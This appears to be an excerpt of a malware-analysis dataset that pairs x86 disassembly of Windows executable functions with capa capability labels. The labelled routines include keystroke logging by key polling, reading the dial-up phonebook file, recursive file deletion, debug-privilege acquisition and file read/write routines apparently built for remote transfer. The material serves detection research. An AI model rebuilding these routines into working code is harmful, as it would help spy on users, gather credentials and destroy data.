joyce8/EMBER2024-capa huggingface dataset:
Function at 0x422f40
Capabilities:
Access the windows event log
Delete directory
Delete file
Get disk information
Manipulate console buffer

Disassembly:
mov eax, 0x1004
call fcn.00422210
cmp dword [0x81b358], 0x37
jne 0x422fe9
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateA]
push 0
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0
lea eax, [esp + 8]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push 0
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
lea ecx, [esp]
push ecx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WriteConsoleInputA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EraseTape]
push 0
call dword [sym.imp.KERNEL32.dll_SetEvent]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_ReportEventA]
push 0
lea edx, [esp + 0x808]
push edx
push 0x404508
call dword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointW]
mov eax, dword [0x81b35c]
mov edx, dword [0x8177c8]
mov cl, byte [eax + esi + 0x38d6]
mov byte [edx + esi], cl
add esp, 0x1004
ret
Function at 0x401000
Capabilities:
Allocate thread local storage

Disassembly:
push 0x1c
push 0
push 0x40c75c
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0
call sub.KERNEL32.dll_GetModuleHandleW
mov dword [0x40c760], eax
push 0
push 0x1000
push 0
call sub.KERNEL32.dll_HeapCreate
mov dword [0x40c75c], eax
mov eax, 0x40b918
mov dword [0x40c76c], eax
call fcn.00402225
call fcn.00408250
call fcn.004079e0
call fcn.00407402
call fcn.00406f7b
call fcn.00406b03
call fcn.00406483
call fcn.00405e76
call fcn.00405bd0
call fcn.00403d0c
call fcn.004035b0
call fcn.00402e09
call fcn.004029e2
call fcn.004029ce
call fcn.0040290a
call fcn.00402899
call fcn.004027c0
call fcn.004022de
mov edx, dword [0x40c888]
push edx
push edx
mov edx, dword [0x40c888]
push edx
push edx
call fcn.004064b2
mov edx, dword [0x40b938]
add dword [esp], edx
call fcn.00406c7f
add dword [0x40c888], 2
push 0x40c770
call fcn.004082d0
call fcn.00401db6
push 0
jmp 0x4010e8
call 0x401102
call fcn.004082a0
push dword [0x40c75c]
call sub.KERNEL32.dll_HeapDestroy
call sub.KERNEL32.dll_ExitProcess
Function at 0x401cf0
Capabilities:
Read .ini file

Disassembly:
xor eax, eax
push eax
push eax
push eax
push eax
mov eax, dword [esp + 0x20]
mov dword [0x40c888], eax
mov edx, dword [esp + 0x14]
lea ecx, [esp]
call fcn.00402000
mov edx, dword [esp + 0x18]
lea ecx, [esp + 4]
call fcn.00402000
mov edx, dword [esp + 0x1c]
lea ecx, [esp + 8]
call fcn.00402000
mov edx, dword [0x40c888]
push edx
push edx
push 0x200
call fcn.00406410
lea eax, [esp + 0x10]
push eax
call fcn.004082d0
mov eax, dword [esp]
push eax
push 0x200
mov eax, dword [esp + 0x14]
push eax
mov eax, 0x40b028
push eax
mov eax, dword [esp + 0x18]
push eax
mov eax, dword [esp + 0x18]
push eax
call sub.KERNEL32.dll_GetPrivateProfileStringW
mov edx, dword [esp + 0xc]
push dword [0x40c888]
push edx
call fcn.00408350
pop eax
add eax, dword [0x40b938]
jmp 0x401d8d
push dword [esp + 4]
call fcn.004083b0
push dword [esp]
call fcn.004083b0
push dword [esp + 8]
call fcn.004083b0
push dword [esp + 0xc]
call fcn.004083b0
add esp, 0x10
ret 0xc
Function at 0x40254b
Capabilities:
Log keystrokes via polling

Disassembly:
sub esp, 0x28
push ebx
push ebp
push esi
push edi
xor edi, edi
call dword [sym.imp.USER32.dll_GetFocus]
mov ebp, dword [esp + 0x3c]
mov ebx, eax
and dword [esp + 0x10], edi
push 0x40a008
push ebp
call dword [sym.imp.USER32.dll_GetPropW]
mov esi, eax
push 9
pop eax
test esi, esi
je 0x4025e3
lea eax, [esp + 0x14]
push eax
push ebp
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
test eax, eax
je 0x4025e0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp dword [esp + 0x14], eax
jne 0x4025e0
lea eax, [esi - 1]
push eax
push dword [0x40c890]
call fcn.00407b3d
mov edi, eax
mov dword [esp + 0x10], 1
xor eax, eax
push 9
cmp dword [edi + 0x10], eax
jle 0x4025e2
mov edx, dword [edi + 4]
xor ecx, ecx
pop esi
cmp word [ecx + edx + 2], si
jne 0x4025d7
mov esi, 0xfa01
push 9
cmp word [ecx + edx + 4], si
je 0x4026ca
pop esi
inc eax
add ecx, 6
cmp eax, dword [edi + 0x10]
jl 0x4025bd
push 9
pop eax
mov esi, dword [sym.imp.USER32.dll_GetKeyState]
test ebx, ebx
je 0x402689
push eax
call esi
test al, al
jns 0x402689
push 0x11
call esi
test al, al
js 0x402689
push 0x10
call esi
test al, al
js 0x402689
push 0x12
call esi
test al, al
js 0x402689
push 0x10
lea eax, [esp + 0x1c]
push eax
push ebx
call dword [sym.imp.USER32.dll_GetClassNameW]
cmp dword [esp + 0x10], 0
jne 0x402689
push 5
lea eax, [esp + 0x1c]
push str.RichE
push eax
call sub.MSVCRT.dll_wcsncmp
add esp, 0xc
test eax, eax
je 0x40265d
push 4
lea eax, [esp + 0x1c]
push str.RICHE
push eax
call sub.MSVCRT.dll_wcsncmp
add esp, 0xc
test eax, eax
jne 0x402674
push 0
push 0
push 0x44e
push ebx
call dword [sym.imp.USER32.dll_SendMessageW]
test eax, 0x800
je 0x4026d4
lea eax, [esp + 0x18]
push str.Scintilla
push eax
call sub.MSVCRT.dll_wcscmp
pop ecx
pop ecx
test eax, eax
je 0x4026d4
test ebp, ebp
je 0x4026ad
push 0x11
call esi
test al, al
js 0x4026a5
push 0x10
call esi
test al, al
js 0x4026a5
push 0x12
call esi
test al, al
jns 0x4026ad
push 1
push ebp
call fcn.004026e0
test ebx, ebx
je 0x4026c1
push str.PB_Hotkey
push ebx
call dword [sym.imp.USER32.dll_GetPropW]
test eax, eax
jne 0x4026d4
test edi, edi
je 0x4026d4
mov eax, dword [edi + 8]
jmp 0x4026d6
and dword [esp + 0x14], 0
jmp 0x4025e2
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x28
ret 4

Function at 0x403ca0
Capabilities:
Write file on windows

Disassembly:
push esi
mov esi, dword [esp + 0x10]
push edi
mov edi, dword [esp + 0xc]
mov eax, dword [edi]
test eax, eax
je 0x403cd2
push 0
lea ecx, [esp + 0x10]
push ecx
push esi
push dword [esp + 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x403ccd
cmp dword [esp + 0xc], esi
je 0x403ce9
pop edi
xor eax, eax
pop esi
ret
mov eax, dword [edi + 4]
add eax, dword [edi + 8]
push esi
push dword [esp + 0x14]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
add dword [edi + 8], esi
pop edi
mov eax, 1
pop esi
ret
Function at 0x406d0e
Capabilities:
Get disk information
Get file attributes

Disassembly:
mov eax, dword [esp + 4]
sub esp, 0x45c
push esi
or esi, 0xffffffff
push edi
mov edi, esi
test eax, eax
je 0x406e56
xor ecx, ecx
cmp word [eax], cx
je 0x406e56
push 0x104
push eax
lea eax, [esp + 0x10]
push eax
call sub.MSVCRT.dll_wcsncpy
xor eax, eax
mov word [esp + 0x21c], ax
lea eax, [esp + 0x14]
push eax
call sub.MSVCRT.dll_wcslen
add esp, 0x10
lea ecx, [esp + eax*2 + 6]
cmp eax, 2
je 0x406d67
cmp eax, 3
jne 0x406da1
cmp word [esp + 0xa], 0x3a
jne 0x406da1
cmp eax, 2
jne 0x406d85
lea eax, [esp + 8]
push 0x40a180
push eax
call sub.MSVCRT.dll_wcscat
pop ecx
pop ecx
lea eax, [esp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
cmp eax, 1
jbe 0x406e56
push 0xfffffffffffffffe
pop edi
jmp 0x406e56
push ebx
push ebp
push 0x5c
pop ebp
push 0x2f
pop ebx
movzx eax, word [ecx]
cmp ax, bp
je 0x406db6
cmp ax, bx
jne 0x406dc0
xor eax, eax
mov word [ecx], ax
sub ecx, 2
jmp 0x406da9
lea eax, [esp + 0x21c]
push eax
lea eax, [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
cmp eax, esi
je 0x406dff
test byte [esp + 0x21c], 0x10
je 0x406de6
push 0xfffffffffffffffe
pop edi
jmp 0x406df6
mov esi, dword [esp + 0x238]
xor edi, edi
or edi, dword [esp + 0x23c]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
jmp 0x406e54
cmp word [esp + 0x10], bp
jne 0x406e0d
cmp word [esp + 0x12], bp
je 0x406e2c
cmp word [esp + 0x10], bx
jne 0x406e1b
cmp word [esp + 0x12], bx
je 0x406e2c
push 0x2e
pop eax
cmp word [esp + 0x10], ax
jne 0x406e54
cmp word [esp + 0x12], ax
jne 0x406e54
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, esi
je 0x406e41
test al, 0x10
je 0x406e54
jmp 0x406e51
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
cmp eax, 1
jbe 0x406e54
push 0xfffffffffffffffe
pop edi
pop ebp
pop ebx
mov eax, edi
mov edx, esi
pop edi
pop esi
add esp, 0x45c
ret 4
Function at 0x100021a0
Capabilities:
Get common file path
Read .ini file

Disassembly:
sub esp, 0x21c
push ebx
push ebp
push esi
push edi
lea eax, [esp + 0x1c]
push 0x105
mov esi, ecx
push eax
xor ebp, ebp
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push str.Documents_and_Settings_
lea ecx, [esp + 0x20]
push 0x5c
push ecx
call dword [sym.imp.MSVCRT.dll_strchr]
add esp, 8
inc eax
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esi + 0x14]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x1c]
push edx
push eax
call esi
lea ecx, [esp + 0x1c]
push str.Application_DataMicrosoftNetworkConnectionspbk_rasphone.pbk
push ecx
call esi
push ebp
lea edx, [esp + 0x128]
push 0x23
push edx
push ebp
call dword [0x10018cac]
lea eax, [esp + 0x124]
push str.MicrosoftNetworkConnectionspbk_rasphone.pbk
push eax
lea ecx, [esp + 0x12c]
push str._s_s
push ecx
call dword [0x10018cc0]
lea edx, [esp + 0x2c]
lea eax, [esp + 0x134]
push 0x1000
mov dword [esp + 0x28], edx
mov dword [esp + 0x2c], eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 0x14
mov esi, eax
lea ebx, [esp + 0x14]
mov dword [esp + 0x10], 2
mov ecx, 0x400
xor eax, eax
mov edi, esi
rep stosd dword es:[edi], eax
mov ecx, dword [ebx]
push ecx
push 0x1000
push esi
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileSectionNamesA]
mov al, byte [esi]
mov edx, esi
test al, al
je 0x10002293
mov edi, edx
or ecx, 0xffffffff
xor eax, eax
inc ebp
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov al, byte [edx + ecx + 1]
lea edx, [edx + ecx + 1]
test al, al
jne 0x1000227a
mov eax, dword [esp + 0x10]
add ebx, 4
dec eax
mov dword [esp + 0x10], eax
jne 0x10002258
push esi
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
mov eax, ebp
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x21c
ret
Function at 0x10003250
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10013258
push 0x10011d1e
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x14
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
mov dword [ebp - 4], 0
mov esi, dword [ebp + 8]
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
push ecx
call dword [sym.imp.MSVCRT.dll_malloc]
add esp, 4
mov edi, eax
mov dword [ebp - 0x24], edi
test edi, edi
je 0x100033b0
push esi
push edi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov esi, edi
mov dword [ebp - 0x1c], esi
cmp byte [edi], 0x5c
jne 0x100032ff
lea eax, [edi + 1]
cmp byte [eax], 0x5c
jne 0x100032ff
mov esi, eax
mov dword [ebp - 0x1c], esi
inc esi
mov dword [ebp - 0x1c], esi
mov al, byte [esi]
test al, al
je 0x100032da
cmp al, 0x5c
je 0x100032da
push esi
call dword [0x10018d3c]
mov esi, eax
jmp 0x100032c2
cmp byte [esi], 0
je 0x100032e3
inc esi
mov dword [ebp - 0x1c], esi
mov al, byte [esi]
test al, al
je 0x100032f8
cmp al, 0x5c
je 0x100032f8
push esi
call dword [0x10018d3c]
mov esi, eax
jmp 0x100032e0
cmp byte [esi], 0
je 0x1000331e
jmp 0x1000331a
lea eax, [edi + 1]
cmp byte [eax], 0x3a
jne 0x1000331e
mov esi, eax
mov dword [ebp - 0x1c], esi
inc esi
mov dword [ebp - 0x1c], esi
mov al, byte [esi]
test al, al
je 0x1000331e
cmp al, 0x5c
jne 0x1000331e
inc esi
mov dword [ebp - 0x1c], esi
mov ebx, dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov al, byte [esi]
test al, al
je 0x10003374
cmp al, 0x5c
jne 0x10003366
mov byte [esi], 0
push edi
call ebx
mov dword [ebp - 0x20], eax
cmp eax, 0xffffffff
jne 0x10003359
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
jne 0x10003363
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x10003363
push edi
jmp 0x100033a7
and eax, 0x10
cmp al, 0x10
je 0x10003363
push edi
jmp 0x100033a7
mov byte [esi], 0x5c
push esi
call dword [0x10018d3c]
mov esi, eax
mov dword [ebp - 0x1c], esi
jmp 0x10003324
mov dword [ebp - 4], 0xffffffff
push edi
call dword [sym.imp.MSVCRT.dll_free]
add esp, 4
mov al, 1
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
call dword [sym.imp.MSVCRT.dll_free]
add esp, 4
mov dword [ebp - 4], 0xffffffff
xor al, al
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x100035d0
Capabilities:
Get disk information
Get disk size

Disassembly:
sub esp, 0x784
push ebx
lea eax, [esp + 0x128]
push ebp
push eax
mov dword [esp + 0x28], ecx
push pe_nt_image_headers32
mov byte [esp + 0x394], 0x67
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsA]
mov al, byte [esp + 0x12c]
xor edx, edx
test al, al
lea ebp, [esp + 0x12c]
mov dword [esp + 0x10], edx
mov dword [esp + 0x14], edx
mov dword [esp + 0x18], edx
mov dword [esp + 0x1c], edx
mov ebx, 1
je 0x10003778
push esi
push edi
jmp 0x1000362a
xor edx, edx
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x30]
push 0x104
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x34]
push ecx
push edx
push edx
push edx
push edx
push edx
push ebp
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
push 0x410
lea edx, [esp + 0x238]
push 0x160
push edx
push 0x80
push ebp
call dword [0x10018ca8]
lea edi, [esp + 0x344]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea edi, [esp + 0x30]
mov esi, ecx
or ecx, 0xffffffff
inc esi
repne scasb al, byte es:[edi]
mov al, byte [ebp]
mov dword [esp + 0x28], esi
not ecx
cmp al, 0x41
mov dword [esp + 0x14], ecx
je 0x100036e0
cmp al, 0x42
je 0x100036e0
lea eax, [esp + 0x18]
push 0
lea ecx, [esp + 0x24]
push eax
push ecx
push ebp
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExA]
test eax, eax
je 0x100036e0
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x1c]
mov ecx, 0x14
call fcn.10011d30
mov edx, dword [esp + 0x24]
mov edi, eax
mov eax, dword [esp + 0x20]
mov ecx, 0x14
call fcn.10011d30
mov dword [esp + 0x10], eax
jmp 0x100036e6
xor edi, edi
mov dword [esp + 0x10], edi
mov dl, byte [ebp]
push ebp
mov byte [esp + ebx + 0x398], dl
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
mov ecx, esi
mov byte [esp + ebx + 0x395], al
mov eax, dword [esp + 0x10]
mov edx, ecx
mov dword [esp + ebx + 0x396], edi
lea esi, [esp + 0x344]
lea edi, [esp + ebx + 0x39e]
mov dword [esp + ebx + 0x39a], eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov eax, dword [esp + 0x28]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x14]
lea edx, [eax + ebx]
lea esi, [esp + 0x30]
lea edi, [esp + edx + 0x39e]
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, edx
mov edi, ebp
add ecx, eax
xor eax, eax
lea ebx, [ebx + ecx + 0xa]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov al, byte [ecx + ebp + 1]
lea ebp, [ecx + ebp + 1]
test al, al
jne 0x10003628
pop edi
pop esi
mov ecx, dword [esp + 0x24]
lea edx, [esp + 0x38c]
push ebx
push edx
call fcn.10006b80
pop ebp
pop ebx
add esp, 0x784
ret
Function at 0x10003b40
Capabilities:
Delete directory
Delete file
Enumerate files on windows
Enumerate files recursively

Disassembly:
sub esp, 0x44c
lea eax, [esp + 0x348]
push ebx
push ebp
push esi
mov esi, dword [esp + 0x45c]
push edi
mov edi, dword [0x10018cc0]
push esi
push str._s.
mov ebp, ecx
push eax
call edi
add esp, 0xc
lea ecx, [esp + 0x10]
lea edx, [esp + 0x358]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x10003b95
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x44c
ret 4
cmp byte [esp + 0x3c], 0x2e
je 0x10003be7
test byte [esp + 0x10], 0x10
lea eax, [esp + 0x3c]
push eax
push esi
push str._s_s
je 0x10003bcc
lea ecx, [esp + 0x15c]
push ecx
call edi
add esp, 0x10
lea edx, [esp + 0x150]
mov ecx, ebp
push edx
call fcn.10003b40
jmp 0x10003be7
lea ecx, [esp + 0x260]
push ecx
call edi
add esp, 0x10
lea edx, [esp + 0x254]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea eax, [esp + 0x10]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x10003b95
push ebx
call dword [sym.imp.KERNEL32.dll_FindClose]
push esi
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
pop edi
pop esi
test eax, eax
pop ebp
pop ebx
setne al
add esp, 0x44c
ret 4

Function at 0x10003c20
Capabilities:
Get file size

Disassembly:
sub esp, 8
push ebx
push esi
lea edx, [ecx + 0x20]
push edi
mov dword [esp + 0x10], ecx
mov ebx, dword [esp + 0x18]
mov ecx, 0x41
xor eax, eax
mov edi, edx
push 0
rep stosd dword es:[edi], eax
mov edi, ebx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x80
mov eax, ecx
mov esi, edi
mov edi, edx
push 3
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push 0
and ecx, 3
push 1
push 0x80000000
push ebx
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
jne 0x10003c84
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 8
ret 4
lea ecx, [esp + 0xc]
push ebp
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, ebx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov ebp, ecx
add ebp, 0xa
push ebp
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov ecx, ebp
mov ebx, eax
mov edx, ecx
xor eax, eax
mov edi, ebx
push ebp
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
push ebx
and ecx, 3
rep stosb byte es:[edi], al
mov byte [ebx], 0x69
mov eax, dword [esp + 0x18]
mov dword [ebx + 5], esi
mov esi, dword [esp + 0x24]
mov dword [ebx + 1], eax
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
mov edx, ecx
lea edi, [ebx + 9]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x1c]
call fcn.10006b80
push ebx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
pop ebp
mov eax, esi
pop edi
pop esi
pop ebx
add esp, 8
ret 4
Function at 0x10003d20
Capabilities:
Read file on windows

Disassembly:
push ebx
mov ebx, dword [esp + 8]
push ebp
push edi
mov eax, dword [ebx + 4]
mov ebp, ecx
cmp eax, 0xffffffff
jne 0x10003d3e
call fcn.10003e00
pop edi
pop ebp
xor eax, eax
pop ebx
ret 4
push 0
push 0x80
push 3
push 0
push 1
lea eax, [ebp + 0x20]
push 0x80000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
jne 0x10003d69
pop edi
pop ebp
or eax, eax
pop ebx
ret 4
mov ecx, dword [ebx + 4]
push esi
push 0
push ebx
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0x2000
push 0x40
mov dword [esp + 0x1c], 0
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov esi, eax
lea ecx, [esp + 0x14]
push 0
push ecx
mov byte [esi], 0x6a
mov edx, dword [ebx]
mov dword [esi + 1], edx
mov eax, dword [ebx + 4]
lea edx, [esi + 9]
push 0x1ff7
push edx
push edi
mov dword [esi + 5], eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x14]
test eax, eax
jbe 0x10003de1
add eax, 9
mov ecx, ebp
push eax
push esi
call fcn.10006b80
push esi
mov edi, eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, edi
pop esi
pop edi
pop ebp
pop ebx
ret 4
mov ecx, ebp
call fcn.10003e00
mov edi, dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, edi
pop esi
pop edi
pop ebp
pop ebx
ret 4
Function at 0x100044b0
Capabilities:
Write file on windows

Disassembly:
sub esp, 0x10
push ebx
mov ebx, dword [esp + 0x18]
push ebp
push esi
mov eax, dword [ebx]
push edi
mov ebp, dword [ebx + 4]
push 0
mov edi, ecx
push 0x80
push 3
push 0
push 2
lea ecx, [edi + 0x20]
push 0x40000000
push ecx
mov dword [esp + 0x40], eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
lea edx, [esp + 0x24]
push 0
mov esi, eax
push edx
push ebp
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov ecx, dword [esp + 0x28]
lea eax, [esp + 0x10]
push 0
add ecx, 0xfffffff8
push eax
add ebx, 8
push ecx
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x10]
mov edx, dword [esp + 0x24]
lea ecx, [esp + 0x14]
push 9
add eax, ebp
push ecx
mov ecx, edi
mov byte [esp + 0x1c], 0x70
mov dword [esp + 0x1d], edx
mov dword [esp + 0x21], eax
call fcn.10006b80
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10
ret 8

Function at 0x10004a30
Capabilities:
Read file on windows

Disassembly:
sub esp, 0x108
mov ecx, dword [esp + 0x10c]
push esi
push edi
lea eax, [esp + 0xc]
push 0x104
push eax
push ecx
mov dword [esp + 0x14], 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0
push 0
push 3
push 0
push 1
lea edx, [esp + 0x20]
push 0x80000000
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x10004a84
pop edi
xor eax, eax
pop esi
add esp, 0x108
ret
push 2
push 0
push 0xfffffc00
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0x400
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov edi, eax
lea eax, [esp + 8]
push 0
push eax
push 0x400
push edi
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x118]
push 0
push 0x400
push ecx
push edi
call fcn.100049d0
add esp, 0x10
cmp eax, 0xffffffff
jne 0x10004aef
push edi
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
xor eax, eax
pop edi
pop esi
add esp, 0x108
ret
add eax, edi
pop edi
pop esi
add esp, 0x108
ret
Function at 0x100057a0
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
lea eax, [ebp - 4]
push eax
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [0x10018be8]
test eax, eax
jne 0x100057c3
xor al, al
mov esp, ebp
pop ebp
ret
lea ecx, [ebp - 0xc]
push ecx
push str.SeDebugPrivilege
push 0
call dword [0x10018bec]
test eax, eax
jne 0x100057e8
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 8]
push 0
push 0
lea edx, [ebp - 0x1c]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 4]
push 0x10
push edx
push 0
push eax
mov dword [ebp - 0x1c], 1
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x10], 2
call dword [0x10018bf0]
test eax, eax
jne 0x1000582c
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
mov esp, ebp
pop ebp
ret
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov al, 1
mov esp, ebp
pop ebp
ret